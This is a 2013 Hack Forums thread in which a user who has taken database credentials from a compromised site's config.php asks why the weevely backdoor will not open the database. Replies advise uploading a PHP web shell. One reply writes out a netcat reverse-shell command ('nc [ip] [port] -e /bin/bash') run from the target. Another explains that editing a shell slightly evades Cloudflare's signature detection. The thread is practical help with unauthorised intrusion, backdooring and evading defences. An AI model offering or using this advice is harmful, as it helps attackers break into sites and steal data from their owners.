

Forum:[Hack Forums](#)

Thread: [cant use the database but can show all available database\(weeveily\)](#)

yellowpad - October 11, 2013, 3:37 am

i can show all available database using weeveily .

but when i use the one of database an error msg show 'no data returned check credentials and dbms availability'

[\[img\]http://s10.postimg.org/qvkak4okl/hyea.jpg\[/img\]](#)

lchi - October 11, 2013, 5:08 am

That's because you have to provide the correct credentials to log in. Weeveily isn't just gonna magically give you access to the database but it can enumerate the names. Who uses weeveily anyway? lmao

yellowpad - October 11, 2013, 6:10 am

(Oct 11, 2013 05:08 AM)lchi Wrote: [\[CITE\]](#) That's because you have to provide the correct credentials to log in. Weeveily isn't just gonna magically give you access to the database but it can enumerate the names. Who uses weeveily anyway? lmao

i set the correct user and password which i found in config.php of the site .. in my screenshot that i show you see that i can list all databases but i cant execute the select database query

lchi - October 11, 2013, 10:52 am

You would be better off uploading a PHP web-shell and try logging into the database that way. The credentials may be false or it could just be weeveily acting all buggy like it usually does. Seriously, don't use weeveily

SIM-1241186 - October 11, 2013, 3:35 pm

(Oct 11, 2013 10:52 AM)lchi Wrote: [\[CITE\]](#) You would be better off uploading a PHP web-shell and try logging into the database that way. The credentials may be false or it could just be weeveily acting all buggy like it usually does. Seriously, don't use weeveily

I use weeveily. Mainly because once upon a time I had Netcat working, and one day it just decided to stop. My port is open, I am aware that servers often block ports, and have even tried with the default MySQL port. Whenever I try to back connect via Netcat nothing happens anymore. I can successfully generate an HTTP request to NC via localhost, so I know my port is not the problem.

Therefore, I use weeveily. I have no other way of establishing a back connection.

I've not had any problems with it, as far as I've seen it returns my desired results according to the commands I give it.

What's wrong with it? / is there any better alternatives aside from Netcat?

lchi - October 11, 2013, 6:59 pm

(Oct 11, 2013 03:35 PM)hackforumspang Wrote: [\[CITE\]](#) I use weeveily. Mainly because once upon a time I had Netcat working, and one day it just decided to stop. My port is open, I am aware that servers often block ports, and have even tried with the default MySQL port. Whenever I try to back connect via Netcat nothing happens anymore. I can successfully generate an HTTP request to NC via localhost, so I know my port is not the problem.

Therefore, I use weeveily. I have no other way of establishing a back connection.

I've not had any problems with it, as far as I've seen it returns my desired results according to the commands I give it.

What's wrong with it? / is there any better alternatives aside from Netcat? If you're using a PHP web-shell to try and execute the backconnect from the target machine, I imagine the web shell will execute a command similar to:

PHP Code

```
<?php
```

```
nc [ip of your machine] [port] -e /bin/bash
```

That target machine may not have -e permissions. There are alternatives to executing netcat from the target machine that will still allow you to use netcat on your local machine.

If that isn't the case, netcat may be improperly installed. Have you tried Socat(SOcket CAT)? It's like netcat but "with security in mind"

PHP Code

```
<?php
```

```
$ sudo apt-get update && sudo apt-get install socat
```

Quote: Socat is a command line based utility that establishes two bidirectional byte streams and transfers data between them. Because the streams can be constructed from a large set of different types of data sinks and sources (see address types), and because lots of address options may be applied to the streams, socat can be used for many different purposes

SHADOW REALM - October 11, 2013, 8:23 pm

Check What User You Are, you might Not Have Perms

yellowpad - October 11, 2013, 8:25 pm

(Oct 11, 2013 10:52 AM) Ichi Wrote: [\[CITE\]](#) You would be better off uploading a PHP web-shell and try logging into the database that way. The credentials may be false or it could just be weevily acting all buggy like it usually does. Seriously, don't use weevily

i cant use php webshell because the cloudflare detect it .!! like wso or c99 .. so i maked my own mysql interface in php which have ugly interface ?

(Oct 11, 2013 08:23 PM) SHADOW REALM Wrote: [\[CITE\]](#) Check What User You Are, you might Not Have Perms i think weevily is only supporting the 'show databases' in mysql

i try to installed backdoor to my server and the result is the same

here is the result

[\[img\]http://s12.postimg.org/j3xtvfoq1/try1.jpg\[/img\]](http://s12.postimg.org/j3xtvfoq1/try1.jpg)

Ichi - October 11, 2013, 8:52 pm

(Oct 11, 2013 08:25 PM) yellowpad Wrote: [\[CITE\]](#) i cant use php webshell because the cloudflare detect it .!! like wso or c99 .. so i maked my own mysql interface in php which have ugly interface ?

Cloudflare eh? I'm sure all they did was take the source or the MD5/SHA-1 checksum and put it in their AV database. So editing the code slightly would completely change the checksum, thus making the web-shell UD. Then again they may have a more advanced system..It's worth a shot though.

I'd check out NeoPI and these links, they might help you:

Code <https://bechtsoudis.com/hacking/maths-behind-web-shell-code-detection/>

<http://www.exploit-db.com/wp-content/themes/exploit/docs/18216.pdf>

yellowpad - October 11, 2013, 9:16 pm

(Oct 11, 2013 08:52 PM)Ichi Wrote: [\[CITE\]](#) Cloudfare eh? I'm sure all they did was take the source or the MD5/SHA-1 checksum and put it in their AV database. So editing the code slightly would completely change the checksum, thus making the web-shell UD. Then again they may have a more advanced system..It's worth a shot though.

I'd check out NeoPI and these links, they might help you:

Code <https://bechtsoudis.com/hacking/maths-behind-web-shell-code-detection/>

<http://www.exploit-db.com/wp-content/themes/exploit/docs/18216.pdf>

tnx for this link !!... great alternative to weevly backdoor

Warphunt - *October 12, 2013, 2:30 am*

You typed wrong database name... what the hell...

yellowpad - *October 12, 2013, 2:44 am*

(Oct 12, 2013 02:30 AM)Warphunt Wrote: [\[CITE\]](#) You typed wrong database name... what the hell...

????????????????